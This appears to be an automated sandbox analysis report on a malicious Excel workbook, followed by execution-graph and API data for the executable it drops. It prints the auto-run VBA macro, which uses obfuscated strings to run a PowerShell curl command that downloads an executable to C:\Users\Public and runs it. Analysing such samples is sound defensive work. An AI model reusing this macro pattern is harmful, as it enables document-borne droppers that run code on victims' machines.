                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  Disassembly

                                                                                                                                                  Code Analysis

                                                                                                                                                  Call Graph

                                                                                                                                                  • Entrypoint
                                                                                                                                                  • Decryption Function
                                                                                                                                                  • Executed
                                                                                                                                                  • Not Executed
                                                                                                                                                  • Show Help
                                                                                                                                                  callgraph 18 Workbook_Open Replace:2,GetObject:1,CLng:1,exec:1

                                                                                                                                                  Module: Sheet1

                                                                                                                                                  Declaration
                                                                                                                                                  LineContent
                                                                                                                                                  1

                                                                                                                                                  Attribute VB_Name = "Sheet1"

                                                                                                                                                  2

                                                                                                                                                  Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                                                                                                                                                  3

                                                                                                                                                  Attribute VB_GlobalNameSpace = False

                                                                                                                                                  4

                                                                                                                                                  Attribute VB_Creatable = False

                                                                                                                                                  5

                                                                                                                                                  Attribute VB_PredeclaredId = True

                                                                                                                                                  6

                                                                                                                                                  Attribute VB_Exposed = True

                                                                                                                                                  7

                                                                                                                                                  Attribute VB_TemplateDerived = False

                                                                                                                                                  8

                                                                                                                                                  Attribute VB_Customizable = True

                                                                                                                                                  Module: ThisWorkbook

                                                                                                                                                  Declaration
                                                                                                                                                  LineContent
                                                                                                                                                  1

                                                                                                                                                  Attribute VB_Name = "ThisWorkbook"

                                                                                                                                                  2

                                                                                                                                                  Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"

                                                                                                                                                  3

                                                                                                                                                  Attribute VB_GlobalNameSpace = False

                                                                                                                                                  4

                                                                                                                                                  Attribute VB_Creatable = False

                                                                                                                                                  5

                                                                                                                                                  Attribute VB_PredeclaredId = True

                                                                                                                                                  6

                                                                                                                                                  Attribute VB_Exposed = True

                                                                                                                                                  7

                                                                                                                                                  Attribute VB_TemplateDerived = False

                                                                                                                                                  8

                                                                                                                                                  Attribute VB_Customizable = True

                                                                                                                                                  Executed Functions

                                                                                                                                                  Subroutine

                                                                                                                                                  Workbook_OpenAPIs: 6, Strings: 10, Number of lines: 10, Relevance: 52.01

                                                                                                                                                  APIsMeta Information

                                                                                                                                                  Replace

                                                                                                                                                  		Replace(":7pushresponseCpushresponse4D","pushresponse","2") -> :72C24D

                                                                                                                                                  GetObject

                                                                                                                                                  		GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")

                                                                                                                                                  CLng

                                                                                                                                                  CInt

                                                                                                                                                  Replace

                                                                                                                                                  		Replace("cmd /c pow^tradedesignrs^htradedesignll/W 01 c^u^rl htt^ps://thtradedesign.tradedesignarth.li/~sgtatham/putty/lattradedesignst/w32/putty.tradedesign^xtradedesign -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe","tradedesign","e") -> cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe

                                                                                                                                                  exec

                                                                                                                                                  		IWshShell3.exec("cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe")
                                                                                                                                                  StringsDecrypted Strings
                                                                                                                                                  "pushresponse"
                                                                                                                                                  "naakslook8i"
                                                                                                                                                  "2"
                                                                                                                                                  ":7pushresponseC"
                                                                                                                                                  "pushresponse"
                                                                                                                                                  "new"
                                                                                                                                                  "C:\Users\Pub"
                                                                                                                                                  "cmd /c pow^tradedesignrs^htradedesignll/W 01 c^u^rl htt^ps://thtradedesign.tradedesignarth.li/~sgtatham/putty/lattradedesignst/w32/putty.tradedesign^xtradedesign -o "
                                                                                                                                                  "e"
                                                                                                                                                  "tradedesign"
                                                                                                                                                  LineInstructionMeta Information
                                                                                                                                                  9

                                                                                                                                                  Private Sub Workbook_Open()

                                                                                                                                                  10

                                                                                                                                                  tradedesign = "pushresponse"

                                                                                                                                                  executed
                                                                                                                                                  11

                                                                                                                                                  h7asda = "naakslook8i"

                                                                                                                                                  12

                                                                                                                                                  interestregion = Replace(":7pushresponseC" & tradedesign & "4D", "pushresponse", "2")

                                                                                                                                                  Replace(":7pushresponseCpushresponse4D","pushresponse","2") -> :72C24D

                                                                                                                                                  executed
                                                                                                                                                  13

                                                                                                                                                  Set understandremember = GetObject("new" & interestregion & "D5-D70A-438B-8A42-984" & CLng("1.8") & "4B88AFB" & CInt("8.1"))

                                                                                                                                                  GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")

                                                                                                                                                  CLng

                                                                                                                                                  CInt

                                                                                                                                                  executed
                                                                                                                                                  14

                                                                                                                                                  tradedesign = "C:\Users\Pub"

                                                                                                                                                  15

                                                                                                                                                  humantonight = tradedesign & "lic\pin77.exe"

                                                                                                                                                  16

                                                                                                                                                  go8d7sa6 = Replace("cmd /c pow^tradedesignrs^htradedesignll/W 01 c^u^rl htt^ps://thtradedesign.tradedesignarth.li/~sgtatham/putty/lattradedesignst/w32/putty.tradedesign^xtradedesign -o " & humantonight & ";" & humantonight, "tradedesign", "e")

                                                                                                                                                  Replace("cmd /c pow^tradedesignrs^htradedesignll/W 01 c^u^rl htt^ps://thtradedesign.tradedesignarth.li/~sgtatham/putty/lattradedesignst/w32/putty.tradedesign^xtradedesign -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe","tradedesign","e") -> cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe

                                                                                                                                                  executed
                                                                                                                                                  17

                                                                                                                                                  understandremember.exec go8d7sa6

                                                                                                                                                  IWshShell3.exec("cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe")

                                                                                                                                                  executed
                                                                                                                                                  18

                                                                                                                                                  End Sub

                                                                                                                                                  Reset < >

                                                                                                                                                    Execution Graph

                                                                                                                                                    Execution Coverage:0.7%
                                                                                                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                    Signature Coverage:10.9%
                                                                                                                                                    Total number of Nodes:311
                                                                                                                                                    Total number of Limit Nodes:24
                                                                                                                                                    execution_graph 68111 30d790 68112 30db70 68111->68112 68113 30d7d5 68111->68113 68120 30db98 SendMessageA SendMessageA SendMessageA 68112->68120 68124 30dcf9 68112->68124 68114 30dca0 68113->68114 68115 30d7e1 68113->68115 68121 30dcb8 KillTimer 68114->68121 68114->68124 68116 30dd01 68115->68116 68117 30d7ed 68115->68117 68166 30f1e0 15 API calls 68116->68166 68153 30f180 68117->68153 68141 30dbf1 68120->68141 68123 30dcd0 68121->68123 68122 30dd0d 68122->68124 68125 30dcee 68123->68125 68126 30dcd7 MessageBoxA 68123->68126 68165 338140 GetWindowLongA 68125->68165 68126->68125 68128 30d7f6 68130 30d879 LoadIconA SendMessageA 68128->68130 68138 30d830 68128->68138 68129 30dc88 GetDlgItem 68132 30dc9b DestroyWindow 68129->68132 68129->68141 68160 3393a0 GetDesktopWindow GetWindowRect 68130->68160 68132->68141 68133 30d8ac 8 API calls 68136 30dd49 SendMessageA 68133->68136 68149 30d9fb _unexpected _strrchr _strlen 68133->68149 68134 30df25 68140 30df2d SendMessageA InvalidateRect SetFocus 68134->68140 68143 30dd47 68136->68143 68137 30dea5 68137->68134 68168 310660 23 API calls _strlen 68137->68168 68138->68130 68164 310660 23 API calls _strlen 68138->68164 68140->68124 68141->68129 68141->68137 68142 30dd27 SendMessageA 68142->68143 68144 30ddf4 68143->68144 68146 30ddb0 68143->68146 68147 30de0a SetTimer 68144->68147 68152 30de23 68144->68152 68146->68144 68167 310660 23 API calls _strlen 68146->68167 68147->68152 68148 30db0b SendMessageA 68148->68149 68150 30db3e SendMessageA 68148->68150 68149->68142 68149->68148 68150->68149 68151 30de78 ShowWindow 68151->68124 68152->68151 68154 30f195 68153->68154 68155 30f18d SetWindowTextA 68153->68155 68156 30f1b8 GetDlgItem 68154->68156 68157 30f19e GetWindowLongA SetWindowLongA 68154->68157 68155->68154 68158 30f1c8 DestroyWindow 68156->68158 68159 30f1cf 68156->68159 68157->68128 68158->68159 68159->68128 68161 339424 68160->68161 68162 3393c8 GetWindowRect 68160->68162 68161->68133 68162->68161 68163 3393da MoveWindow 68162->68163 68163->68161 68164->68138 68165->68124 68166->68122 68167->68146 68168->68137 68169 30d550 CreateDialogParamA ShowWindow SetActiveWindow KiUserCallbackDispatcher 68170 312e90 68171 312ea2 68170->68171 68172 312f00 SetDlgItemTextA 68171->68172 68173 3135f0 68174 313602 68173->68174 68175 3136ae 68174->68175 68176 313664 68174->68176 68181 2f69a0 GetDC SelectPalette 68175->68181 68178 313678 SetDlgItemTextA 68176->68178 68180 313688 68176->68180 68178->68180 68179 3136ca 68181->68179 68182 3130f0 68183 3130fe 68182->68183 68184 31316a SendDlgItemMessageA 68183->68184 68185 38dfba 68186 38dfc6 __FrameHandler3::FrameUnwindToState 68185->68186 68210 38e265 68186->68210 68188 38dfcd 68189 38e120 68188->68189 68198 38dff7 ___scrt_is_nonwritable_in_current_image _unexpected ___scrt_release_startup_lock 68188->68198 68226 38e52a IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter _unexpected 68189->68226 68191 38e127 68192 38e12d 68191->68192 68227 39a36e 23 API calls _unexpected 68191->68227 68228 39a384 23 API calls _unexpected 68192->68228 68195 38e135 68196 38e016 68197 38e097 68222 38e4a6 GetStartupInfoW _unexpected 68197->68222 68198->68196 68198->68197 68200 38e090 68198->68200 68221 39a3b8 16 API calls 3 library calls 68200->68221 68202 38e09d 68223 38e4d7 GetModuleHandleW 68202->68223 68204 38e0b9 68204->68191 68205 38e0bd 68204->68205 68206 38e0c6 68205->68206 68224 39a39a 23 API calls _unexpected 68205->68224 68225 38e29e 46 API calls ___scrt_uninitialize_crt 68206->68225 68209 38e0ce 68209->68196 68211 38e26e 68210->68211 68229 38e745 IsProcessorFeaturePresent 68211->68229 68213 38e27a 68230 38eb1f 10 API calls 2 library calls 68213->68230 68215 38e27f 68216 38e283 68215->68216 68231 3910b8 68215->68231 68216->68188 68219 38e29a 68219->68188 68221->68197 68222->68202 68223->68204 68224->68206 68225->68209 68226->68191 68227->68192 68228->68195 68229->68213 68230->68215 68235 3a4060 68231->68235 68234 38eb3e 7 API calls 2 library calls 68234->68216 68236 3a4070 68235->68236 68237 38e28c 68235->68237 68236->68237 68240 3a3635 68236->68240 68250 3a3777 68236->68250 68237->68219 68237->68234 68241 3a3641 __FrameHandler3::FrameUnwindToState 68240->68241 68255 3a2fc3 EnterCriticalSection 68241->68255 68243 3a3648 68256 3aa7b0 68243->68256 68245 3a3657 68248 3a3777 2 API calls 68245->68248 68249 3a3666 68245->68249 68247 3a3677 68247->68236 68248->68249 68269 3a368c LeaveCriticalSection _unexpected 68249->68269 68251 3a377e 68250->68251 68252 3a37c1 GetStdHandle 68251->68252 68253 3a3823 68251->68253 68254 3a37d4 GetFileType 68251->68254 68252->68251 68253->68236 68254->68251 68255->68243 68257 3aa7bc __FrameHandler3::FrameUnwindToState 68256->68257 68258 3aa7e6 68257->68258 68259 3aa7c5 68257->68259 68270 3a2fc3 EnterCriticalSection 68258->68270 68278 39c4eb 14 API calls __dosmaperr 68259->68278 68262 3aa7ca 68279 3a40f9 24 API calls _strftime 68262->68279 68264 3aa7d4 68264->68245 68265 3aa81e 68280 3aa845 LeaveCriticalSection _unexpected 68265->68280 68266 3aa7f2 68266->68265 68271 3aa700 68266->68271 68269->68247 68270->68266 68281 3a5bd4 68271->68281 68273 3aa712 68277 3aa71f 68273->68277 68288 3a2847 6 API calls __dosmaperr 68273->68288 68276 3aa774 68276->68266 68289 3a4026 14 API calls __dosmaperr 68277->68289 68278->68262 68279->68264 68280->68264 68282 3a5be1 _strftime 68281->68282 68283 3a5c21 68282->68283 68284 3a5c0c RtlAllocateHeap 68282->68284 68290 3a4362 EnterCriticalSection LeaveCriticalSection _strftime 68282->68290 68291 39c4eb 14 API calls __dosmaperr 68283->68291 68284->68282 68285 3a5c1f 68284->68285 68285->68273 68288->68273 68289->68276 68290->68282 68291->68285 68292 32b9b0 68293 32b9db 68292->68293 68294 32ba5e 68292->68294 68293->68294 68295 32ba40 RegOpenKeyExA 68293->68295 68296 32ba14 RegCreateKeyExA 68293->68296 68298 32ba55 RegCloseKey 68293->68298 68295->68293 68297 32ba30 68295->68297 68296->68293 68296->68297 68297->68294 68299 32ba69 RegCloseKey 68297->68299 68298->68293 68299->68294 68300 324b50 68356 32b850 68300->68356 68302 324b5a 68303 324b85 GetProcAddress 68302->68303 68304 32b850 3 API calls 68302->68304 68305 324bd1 68303->68305 68306 324b95 68303->68306 68307 324b75 68304->68307 68309 32b850 3 API calls 68305->68309 68308 324ba2 GetProcAddress 68306->68308 68313 324c2a 68306->68313 68307->68303 68355 325180 68307->68355 68310 324bbd GetProcAddress 68308->68310 68308->68313 68311 324bdb 68309->68311 68314 324c13 68310->68314 68312 324be7 GetProcAddress 68311->68312 68311->68313 68312->68313 68315 324c01 GetProcAddress 68312->68315 68317 324c4e GetProcAddress 68313->68317 68318 324c5c 68313->68318 68314->68313 68316 324c1c GetProcAddress 68314->68316 68315->68314 68316->68313 68317->68318 68319 324c70 GetProcAddress 68318->68319 68346 325004 68318->68346 68320 324c8f GetProcAddress 68319->68320 68319->68346 68321 324cae GetProcAddress 68320->68321 68320->68346 68322 324ccd GetProcAddress 68321->68322 68321->68346 68323 324cec GetProcAddress 68322->68323 68322->68346 68324 324d0b GetProcAddress 68323->68324 68323->68346 68325 324d2a GetProcAddress 68324->68325 68324->68346 68326 324d49 GetProcAddress 68325->68326 68325->68346 68327 324d68 GetProcAddress 68326->68327 68326->68346 68328 324d87 GetProcAddress 68327->68328 68327->68346 68329 324da6 GetProcAddress 68328->68329 68328->68346 68330 324dc5 GetProcAddress 68329->68330 68329->68346 68331 324de4 GetProcAddress 68330->68331 68330->68346 68332 324e03 GetProcAddress 68331->68332 68331->68346 68333 324e22 GetProcAddress 68332->68333 68332->68346 68334 324e41 GetProcAddress 68333->68334 68333->68346 68335 324e60 GetProcAddress 68334->68335 68334->68346 68336 324e7f GetProcAddress 68335->68336 68335->68346 68337 324e9e GetProcAddress 68336->68337 68336->68346 68338 324ebd GetProcAddress 68337->68338 68337->68346 68339 324edc GetProcAddress 68338->68339 68338->68346 68340 324efb GetProcAddress 68339->68340 68339->68346 68341 324f1a GetProcAddress 68340->68341 68340->68346 68342 324f39 GetProcAddress 68341->68342 68341->68346 68343 324f58 GetProcAddress 68342->68343 68342->68346 68344 324f77 GetProcAddress 68343->68344 68343->68346 68345 324f96 GetProcAddress 68344->68345 68344->68346 68345->68346 68347 324fb5 GetProcAddress 68345->68347 68350 325128 WSAStartup 68346->68350 68347->68346 68348 324fd4 GetProcAddress 68347->68348 68348->68346 68349 324ff3 GetProcAddress 68348->68349 68349->68350 68351 325141 68350->68351 68352 32514e WSAStartup 68350->68352 68351->68352 68351->68355 68353 32515f 68352->68353 68354 32516c WSAStartup 68352->68354 68353->68354 68353->68355 68354->68355 68361 356ea0 68356->68361 68358 32b85b 68359 32b869 LoadLibraryA 68358->68359 68360 32b87d 68359->68360 68360->68302 68362 356f00 68361->68362 68363 356eaa GetSystemDirectoryA 68361->68363 68362->68358 68363->68362 68364 356ec0 68363->68364 68365 356ee7 GetSystemDirectoryA 68364->68365 68365->68362 68365->68364 68366 38e51e SetUnhandledExceptionFilter 68367 3810d0 68372 3569e0 68367->68372 68369 3810d8 68384 37ea90 29 API calls 3 library calls 68369->68384 68371 3810e4 68373 3569f9 68372->68373 68374 356a08 68372->68374 68376 356a98 GetUserNameA 68373->68376 68383 356a7b ___from_strstr_to_strchr 68373->68383 68375 32b850 3 API calls 68374->68375 68377 356a12 68375->68377 68379 356aae 68376->68379 68378 32b850 3 API calls 68377->68378 68380 356a21 68378->68380 68382 356ac9 GetUserNameA 68379->68382 68380->68373 68381 356a28 GetProcAddress 68380->68381 68381->68373 68382->68383 68383->68369 68384->68371 68385 39c933 68386 39c944 68385->68386 68387 39c95b 68386->68387 68388 39c94f 68386->68388 68398 39ca9e 24 API calls 4 library calls 68387->68398 68397 3a4026 14 API calls __dosmaperr 68388->68397 68391 39c955 68392 39c962 68399 3a4026 14 API calls __dosmaperr 68392->68399 68394 39c97f 68400 3a4026 14 API calls __dosmaperr 68394->68400 68396 39c985 68397->68391 68398->68392 68399->68394 68400->68396 68401 3a4971 68402 3a49af 68401->68402 68406 3a497f _strftime 68401->68406 68409 39c4eb 14 API calls __dosmaperr 68402->68409 68404 3a499a RtlAllocateHeap 68405 3a49ad 68404->68405 68404->68406 68406->68402 68406->68404 68408 3a4362 EnterCriticalSection LeaveCriticalSection _strftime 68406->68408 68408->68406 68409->68405 68410 2f46e0 68433 2fb230 68410->68433 68412 2f46fd 68413 32b850 3 API calls 68412->68413 68414 2f4707 68413->68414 68415 32b850 3 API calls 68414->68415 68416 2f4716 68415->68416 68417 32b850 3 API calls 68416->68417 68418 2f4725 GetProcAddress GetProcAddress 68417->68418 68420 2f4757 GetProcAddress 68418->68420 68422 2f4770 GetProcAddress GetProcAddress GetProcAddress 68420->68422 68424 2f47b9 GetProcAddress 68422->68424 68426 2f47d2 GetProcAddress GetProcAddress 68424->68426 68428 2f4804 68426->68428 68429 2f480e CoInitialize 68428->68429 68430 2f4820 68429->68430 68431 2f4830 MessageBoxA 68430->68431 68432 2f484b 68431->68432 68434 2fb23c 68433->68434 68435 2fb23a 68433->68435 68436 32b850 3 API calls 68434->68436 68435->68412 68437 2fb24d 68436->68437 68438 2fb256 GetProcAddress 68437->68438 68439 2fb293 68437->68439 68440 2fb29d FreeLibrary 68438->68440 68441 2fb26b 68438->68441 68439->68440 68440->68412 68442 2fb288 68441->68442 68443 2fb2a6 FindResourceA 68441->68443 68447 2fb291 68441->68447 68444 2fb2c8 SizeofResource 68442->68444 68442->68447 68443->68444 68443->68447 68445 2fb2da LoadResource 68444->68445 68444->68447 68446 2fb2ec LockResource 68445->68446 68445->68447 68446->68447 68447->68412 68447->68435 68448 30f780 MapDialogRect 68449 30f7c9 CreateWindowExA SendMessageA 68448->68449 68452 30f83b 68448->68452 68450 30f818 68449->68450 68451 30f81f SetWindowPos 68450->68451 68450->68452 68451->68452 68453 3131a0 68454 3131ae 68453->68454 68455 313232 SendDlgItemMessageA SendDlgItemMessageA 68454->68455 68456 3142c0 68457 3142e4 68456->68457 68462 3142c9 68456->68462 68459 32b850 3 API calls 68457->68459 68458 314313 68460 3142ee 68459->68460 68460->68462 68463 3142fa GetProcAddress 68460->68463 68461 3142d7 SetCurrentProcessExplicitAppUserModelID 68462->68458 68462->68461 68463->68462 68464 337fa0 LoadCursorA RegisterClassA CreateDialogParamA SetWindowLongA 68465 338097 KiUserCallbackDispatcher 68464->68465 68466 3380bc 68465->68466 68471 338090 68465->68471 68468 3380c8 DestroyWindow 68466->68468 68469 3380be PostQuitMessage 68466->68469 68467 3380ab IsDialogMessageA 68470 3380b3 DispatchMessageA 68467->68470 68467->68471 68472 3380de 68468->68472 68469->68468 68470->68471 68471->68465 68471->68467 68471->68468 68473 329247 68474 32924e 68473->68474 68476 329255 ___std_exception_copy 68473->68476 68477 3a09de 16 API calls 3 library calls 68474->68477 68477->68476

                                                                                                                                                    Executed Functions

                                                                                                                                                    Function 002F46E0 Relevance: 45.6, APIs: 11, Strings: 15, Instructions: 102libraryloaderwindowCOMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 0032B850: LoadLibraryA.KERNELBASE(00000000,00000000,?,003399F0,kernel32.dll), ref: 0032B86F
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,FlashWindowEx), ref: 002F473A
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,ToUnicodeEx), ref: 002F4747
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,PlaySoundA), ref: 002F4766
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 002F4785
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 002F4792
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 002F479F
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,GetDpiForMonitor), ref: 002F47C8
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 002F47E7
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,AdjustWindowRectExForDpi), ref: 002F47F4
                                                                                                                                                    • CoInitialize.OLE32(00000000), ref: 002F4815
                                                                                                                                                    • MessageBoxA.USER32 ref: 002F483F
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: AddressProc$InitializeLibraryLoadMessage
                                                                                                                                                    • String ID: %s Fatal Error$AdjustWindowRectExForDpi$Failed to initialize COM subsystem$FlashWindowEx$GetDpiForMonitor$GetMonitorInfoA$GetSystemMetricsForDpi$MonitorFromPoint$MonitorFromWindow$PlaySoundA$ToUnicodeEx$shcore.dll$user32.dll$winmm.dll$3k
                                                                                                                                                    • API String ID: 2501503455-4166699630
                                                                                                                                                    • Opcode ID: def047ed47ea3ae3d79b496d4a31486b071994c25e356f8d11a96af1be63a311
                                                                                                                                                    • Instruction ID: d977ccce318cd5126db3c4f90b843ae3dfb82298af2e34c4b42b713defcd2af4
                                                                                                                                                    • Opcode Fuzzy Hash: def047ed47ea3ae3d79b496d4a31486b071994c25e356f8d11a96af1be63a311
                                                                                                                                                    • Instruction Fuzzy Hash: 14312BB2951755ABC313BB707C46A7BB7A8AF12740F05013AF9019E391EBE09D20C797
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003569E0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 94libraryloaderCOMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    • Executed
                                                                                                                                                    • Not Executed
                                                                                                                                                    control_flow_graph 283 3569e0-3569f7 284 3569f9-356a01 283->284 285 356a08-356a26 call 32b850 * 2 283->285 286 356a03 284->286 287 356a4b-356a57 284->287 300 356a38 285->300 301 356a28-356a36 GetProcAddress 285->301 289 356a98-356aac GetUserNameA 286->289 291 356a5b-356a79 call 329070 287->291 293 356ab3-356aba 289->293 294 356aae-356ab1 289->294 308 356a8f-356a95 call 329100 291->308 309 356a7b-356a88 call 390b10 291->309 295 356abf-356ad8 call 329070 GetUserNameA 293->295 294->295 304 356ae5-356af7 call 38dc50 295->304 305 356ada-356ae3 call 329100 295->305 303 356a3a-356a49 300->303 301->303 303->287 303->289 305->304 308->289 309->304 317 356a8a-356a8d 309->317 317->304
                                                                                                                                                    APIs
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,GetUserNameExA), ref: 00356A2E
                                                                                                                                                    • ___from_strstr_to_strchr.LIBCMT ref: 00356A7E
                                                                                                                                                    • GetUserNameA.ADVAPI32(00000000), ref: 00356AA4
                                                                                                                                                    • GetUserNameA.ADVAPI32(00000000), ref: 00356AD0
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: NameUser$AddressProc___from_strstr_to_strchr
                                                                                                                                                    • String ID: GetUserNameExA$Logical name of remote host (e.g. for SSH key lookup):$secur32.dll$sspicli.dll
                                                                                                                                                    • API String ID: 1511097851-421106942
                                                                                                                                                    • Opcode ID: efdc11d52561b4608154468b93a50c716d70815dd595d5c873abc0ca2b8d079f
                                                                                                                                                    • Instruction ID: fa1f2f7758425ddc78b0c3045d18d2350a4e3c2e8f92c0d1d833f31e4da22dc8
                                                                                                                                                    • Opcode Fuzzy Hash: efdc11d52561b4608154468b93a50c716d70815dd595d5c873abc0ca2b8d079f
                                                                                                                                                    • Instruction Fuzzy Hash: 1321F6F1A4435067E7176B35BC07F6B36989B41B01F4A402DFC45AF2E1EAA59D44C393
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0038E51E Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • SetUnhandledExceptionFilter.KERNELBASE(Function_0009E645,0038DFAD), ref: 0038E523
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ExceptionFilterUnhandled
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 3192549508-0
                                                                                                                                                    • Opcode ID: b4e18af22d948c2d173471a0c40aab84dd9bc7ee90d298747e69d407837d7cc7
                                                                                                                                                    • Instruction ID: c44aa997977aa6ab071292dc573bb2c23564d7717c67392679d96cccb93bf343
                                                                                                                                                    • Opcode Fuzzy Hash: b4e18af22d948c2d173471a0c40aab84dd9bc7ee90d298747e69d407837d7cc7
                                                                                                                                                    • Instruction Fuzzy Hash:
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00324B50 Relevance: 138.6, APIs: 40, Strings: 39, Instructions: 372libraryloadernetworkCOMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    • Executed
                                                                                                                                                    • Not Executed
